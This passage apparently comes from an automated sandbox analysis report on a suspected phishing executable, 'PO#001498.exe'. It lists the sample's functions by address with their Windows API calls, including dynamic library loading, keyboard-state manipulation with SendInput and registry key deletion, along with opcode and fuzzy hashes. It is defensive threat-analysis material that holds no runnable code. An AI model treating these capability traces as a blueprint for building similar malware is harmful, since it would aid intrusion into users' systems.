                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 1173514356-4108050209
                                                                                                                                                                                • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                                                • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                                                Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                                                • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 763830540-1403004172
                                                                                                                                                                                • Opcode ID: 169cb05da2f7371639be8c7bcea77e944b24e4bfad061a6cd0ac94a92c737455
                                                                                                                                                                                • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                                                • Opcode Fuzzy Hash: 169cb05da2f7371639be8c7bcea77e944b24e4bfad061a6cd0ac94a92c737455
                                                                                                                                                                                • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                                                                                                Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,771B2EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                  • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                • String ID: nul
                                                                                                                                                                                • API String ID: 2124370227-2873401336
                                                                                                                                                                                • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                                                • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                                                Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,771B2EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                  • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                  • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                • String ID: nul
                                                                                                                                                                                • API String ID: 2124370227-2873401336
                                                                                                                                                                                • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                                                • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                                                Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                                                • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                                                • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                                                • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                                                • String ID: SysAnimate32
                                                                                                                                                                                • API String ID: 3529120543-1011021900
                                                                                                                                                                                • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                                                • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                                                Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                                                • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                                                • String ID: *.*
                                                                                                                                                                                • API String ID: 1795658109-438819550
                                                                                                                                                                                • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                                                                                                • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                                                                                                Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                  • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                  • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                  • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                  • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                • GetFocus.USER32 ref: 004609EF
                                                                                                                                                                                  • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                                                  • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                                                • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                                                                                                • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                                                                                                • String ID: %s%d
                                                                                                                                                                                • API String ID: 991886796-1110647743
                                                                                                                                                                                • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                                                • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                                                Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _memset$_sprintf
                                                                                                                                                                                • String ID: %02X
                                                                                                                                                                                • API String ID: 891462717-436463671
                                                                                                                                                                                • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                                                • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                                                Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                                                • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                  • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                                                  • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                                                  • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                                                  • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                                                  • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                                                  • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                                                                                                • String ID: $OH$@OH$X
                                                                                                                                                                                • API String ID: 3491138722-1394974532
                                                                                                                                                                                • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                                                • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                                                Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                                                • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                                                • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                                                • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                                                • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2449869053-0
                                                                                                                                                                                • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                                                • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                                                Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                                                • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                                                • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                                                • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                                                • SendInput.USER32 ref: 0044C509
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3031425849-0
                                                                                                                                                                                • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                                                • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                                                Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2095303065-0
                                                                                                                                                                                • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                                                • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                                                Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                                                                                                • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                                                                                                • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2832842796-0
                                                                                                                                                                                • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
